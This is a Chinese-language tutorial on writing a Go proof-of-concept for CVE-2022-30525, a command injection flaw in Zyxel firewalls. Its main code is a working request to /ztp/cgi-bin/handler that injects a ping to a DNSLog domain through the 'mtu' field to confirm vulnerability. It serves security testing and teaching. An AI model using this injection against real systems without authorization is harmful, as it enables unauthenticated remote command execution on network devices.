实战Golang编写POC—CVE-2022-30525
字数 1338 2025-08-12 11:34:41

Golang编写POC实战:CVE-2022-30525漏洞检测

1. HTTP请求基础

1.1 GET请求

基本GET请求

package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "time"
)

func main() {
    testUrl := "https://www.baidu.com"
    req, err := http.NewRequest("GET", testUrl, nil)
    if err != nil {
        panic(err)
    }
    
    // 设置自定义请求头
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
    
    // 配置HTTP客户端
    client := http.Client{
        Timeout: 5 * time.Second, // 设置超时时间
    }
    
    // 发送请求
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("request fail", err.Error())
        return
    } else {
        fmt.Printf("StatusCode: %v\n", resp.StatusCode)
    }
    
    // 读取响应体
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        panic(err)
    }
    fmt.Println(string(body))
}

带参数GET请求

package main

import (
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
)

func main() {
    url := "https://cn.bing.com/search"
    req, err := http.NewRequest("GET", url, nil)
    if err != nil {
        log.Fatal(err)
    }
    
    req.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
    
    // 设置GET参数
    params := req.URL.Query()
    params.Add("q", "1")
    req.URL.RawQuery = params.Encode() // 自动进行URL编码
    
    resp, err := http.DefaultClient.Do(req)
    if err != nil {
        log.Fatal(err)
    }
    
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Fatal(err)
    }
    fmt.Println(string(body))
}

处理JSON响应

package main

import (
    "encoding/json"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
)

func main() {
    // ... 发送请求代码同上 ...
    
    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Fatal(err)
    }
    
    var data interface{}
    json.Unmarshal(body, &data)
    fmt.Println(data)
}

1.2 POST请求

package main

import (
    "fmt"
    "net/http"
    "strings"
)

func main() {
    url := "http://www.target.com"
    postData := `{
        "key": "value",
        "anotherKey": "anotherValue"
    }`
    
    req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postData))
    if err != nil {
        panic(err)
    }
    
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
    req.Header.Set("Content-Type", "application/json")
    
    client := http.Client{}
    resp, err := client.Do(req)
    
    if err != nil {
        fmt.Printf("request fail. %s/n", err.Error())
    }
    
    if resp.StatusCode != 200 {
        fmt.Println(resp.StatusCode)
    }
}

1.3 忽略HTTPS证书验证

tr := &http.Transport{
    TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}

client := http.Client{
    Transport: tr,
}

1.4 接收用户参数

var Target string
flag.StringVar(&Target, "u", "", "example:http://127.0.0.1:8080")
flag.Parse()

2. CVE-2022-30525漏洞分析

2.1 漏洞描述

Zyxel防火墙存在通过管理HTTP接口进行未经身份验证的远程命令注入漏洞。攻击者可以通过/ztp/cgi-bin/handler URI注入任意命令,这些命令将以nobody用户身份执行。漏洞存在于lib_wan_settings.py中的setWanPortSt功能,攻击者可以将任意命令注入到mtudata参数中。

2.2 漏洞验证方法

  1. 直接验证:发送特定POST请求,观察响应状态码和内容

    • 漏洞存在时可能返回特定状态码
    • 但仅靠状态码判断不可靠(有时不存在漏洞也会返回503)
  2. DNSLog验证:更可靠的方法

    • 使用DNSLog服务(如http://eyes.sh/)
    • 注入ping命令到目标DNSLog域名
    • 检查DNSLog是否有记录

2.3 DNSLog API使用

单个请求检查

http://eyes.sh/api/dns/test998/{prefix}/?token=3377175d
  • 返回"True"表示请求被触发
  • 返回"False"表示请求未触发

多个请求检查

http://eyes.sh/api/group/dns/test998/{prefix}/?token=3377175d
  • 返回JSON包含成功触发的payload清单

3. POC编写实战

3.1 完整POC代码

package main

import (
    "crypto/tls"
    "encoding/hex"
    "flag"
    "fmt"
    "io/ioutil"
    "math/rand"
    "net/http"
    "strings"
    "time"
)

// 1. URL处理函数
func urlHandler(target string) string {
    if !strings.HasPrefix(target, "http") {
        target = "http://" + target
    }
    
    if strings.HasSuffix(target, "/") {
        target = strings.TrimSuffix(target, "/")
    }
    return target
}

var rand_str string

// 2. 漏洞验证函数
func vuln_verify(target string) {
    rand.Seed(time.Now().UnixNano()) // 设置随机数种子
    b := make([]byte, 2)
    rand.Read(b)
    rand_str = hex.EncodeToString(b) // 生成随机16进制字符串
    
    url := target + "/ztp/cgi-bin/handler"
    postDataStr := `{
        "command":"setWanPortSt",
        "proto":"dhcp",
        "port":"4",
        "vlan_tagged":"1",
        "vlanid":"5",
        "mtu":"; ping ` + rand_str + `.test998.eyes.sh -c4;",
        "data":"hi"
    }`
    
    req, err := http.NewRequest(http.MethodPost, url, strings.NewReader(postDataStr))
    if err != nil {
        fmt.Println("Create POST request failed", err.Error())
        defer req.Body.Close()
    }
    
    req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36")
    req.Header.Set("Content-Type", "application/json")
    
    // 忽略证书验证
    tr := &http.Transport{
        TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
    }
    client := http.Client{
        Transport: tr,
    }
    
    resp, err := client.Do(req)
    if err != nil {
        fmt.Println("request target fail", err.Error())
        fmt.Println(resp.StatusCode)
    }
    
    time.Sleep(10 * time.Second) // 等待DNS记录
    
    // 3. 检查DNSLog响应
    dnsResponseGet, err := http.Get("http://eyes.sh/api/dns/test998/" + rand_str + "/?token=3377175d")
    if err != nil {
        fmt.Println("Failed to create dnsResponseGet request", err.Error())
        defer dnsResponseGet.Body.Close()
    }
    
    body, err := ioutil.ReadAll(dnsResponseGet.Body)
    if err != nil {
        fmt.Println("Failed to get response", err.Error())
    }
    
    if string(body) == "True" {
        fmt.Println("Target is vulnerable")
    } else if string(body) == "False" {
        fmt.Println("The target is not vulnerable")
    }
}

// 4. 主函数
func main() {
    var Target string
    flag.StringVar(&Target, "u", "", "example:http://127.0.0.1:8080")
    flag.Parse()
    
    Target = urlHandler(Target)
    vuln_verify(Target)
}

3.2 关键点解析

  1. 随机字符串生成

    • 使用rand.Seed(time.Now().UnixNano())确保每次随机
    • 生成2字节随机数并编码为16进制字符串
  2. 命令注入

    • mtu参数中注入ping命令到DNSLog域名
    • 使用-c4限制ping次数(避免无限ping)
  3. HTTPS处理

    • 配置TLSClientConfig忽略证书验证
    • 解决"x509: certificate signed by unknown authority"错误
  4. 延时等待

    • time.Sleep(10 * time.Second)确保DNS记录有时间生成
  5. 结果验证

    • 查询DNSLog API判断漏洞是否存在
    • 根据返回的"True"/"False"给出结论

3.3 测试场景

  1. 目标不可访问

    • 输出"request target fail"和错误信息
  2. 目标不存在漏洞

    • 输出"The target is not vulnerable"
  3. 目标存在漏洞

    • 输出"Target is vulnerable"

4. 总结与注意事项

  1. 状态码不可靠

    • 不能仅依赖HTTP状态码判断漏洞存在
    • 必须使用DNSLog等外部验证方法
  2. DNSLog选择

    • 最初尝试dnslog.cn但遇到问题
    • 改用eyes.sh更稳定可靠
  3. HTTPS处理

    • 必须配置忽略证书验证
    • 否则会遇到证书错误导致请求失败
  4. 随机性保证

    • 每次生成不同的随机字符串
    • 避免DNS缓存影响判断
  5. 安全考虑

    • 限制注入命令的执行时间(如ping -c4)
    • 避免对目标系统造成过大负担

通过这个实战案例,我们学习了如何使用Golang编写一个完整的POC,包括HTTP请求处理、参数注入、DNSLog验证等关键安全测试技术。

Golang编写POC实战:CVE-2022-30525漏洞检测 1. HTTP请求基础 1.1 GET请求 基本GET请求 带参数GET请求 处理JSON响应 1.2 POST请求 1.3 忽略HTTPS证书验证 1.4 接收用户参数 2. CVE-2022-30525漏洞分析 2.1 漏洞描述 Zyxel防火墙存在通过管理HTTP接口进行未经身份验证的远程命令注入漏洞。攻击者可以通过 /ztp/cgi-bin/handler URI注入任意命令,这些命令将以nobody用户身份执行。漏洞存在于 lib_wan_settings.py 中的 setWanPortSt 功能,攻击者可以将任意命令注入到 mtu 或 data 参数中。 2.2 漏洞验证方法 直接验证 :发送特定POST请求,观察响应状态码和内容 漏洞存在时可能返回特定状态码 但仅靠状态码判断不可靠(有时不存在漏洞也会返回503) DNSLog验证 :更可靠的方法 使用DNSLog服务(如http://eyes.sh/) 注入ping命令到目标DNSLog域名 检查DNSLog是否有记录 2.3 DNSLog API使用 单个请求检查 返回"True"表示请求被触发 返回"False"表示请求未触发 多个请求检查 返回JSON包含成功触发的payload清单 3. POC编写实战 3.1 完整POC代码 3.2 关键点解析 随机字符串生成 : 使用 rand.Seed(time.Now().UnixNano()) 确保每次随机 生成2字节随机数并编码为16进制字符串 命令注入 : 在 mtu 参数中注入 ping 命令到DNSLog域名 使用 -c4 限制ping次数(避免无限ping) HTTPS处理 : 配置 TLSClientConfig 忽略证书验证 解决"x509: certificate signed by unknown authority"错误 延时等待 : time.Sleep(10 * time.Second) 确保DNS记录有时间生成 结果验证 : 查询DNSLog API判断漏洞是否存在 根据返回的"True"/"False"给出结论 3.3 测试场景 目标不可访问 : 输出"request target fail"和错误信息 目标不存在漏洞 : 输出"The target is not vulnerable" 目标存在漏洞 : 输出"Target is vulnerable" 4. 总结与注意事项 状态码不可靠 : 不能仅依赖HTTP状态码判断漏洞存在 必须使用DNSLog等外部验证方法 DNSLog选择 : 最初尝试dnslog.cn但遇到问题 改用eyes.sh更稳定可靠 HTTPS处理 : 必须配置忽略证书验证 否则会遇到证书错误导致请求失败 随机性保证 : 每次生成不同的随机字符串 避免DNS缓存影响判断 安全考虑 : 限制注入命令的执行时间(如ping -c4) 避免对目标系统造成过大负担 通过这个实战案例,我们学习了如何使用Golang编写一个完整的POC,包括HTTP请求处理、参数注入、DNSLog验证等关键安全测试技术。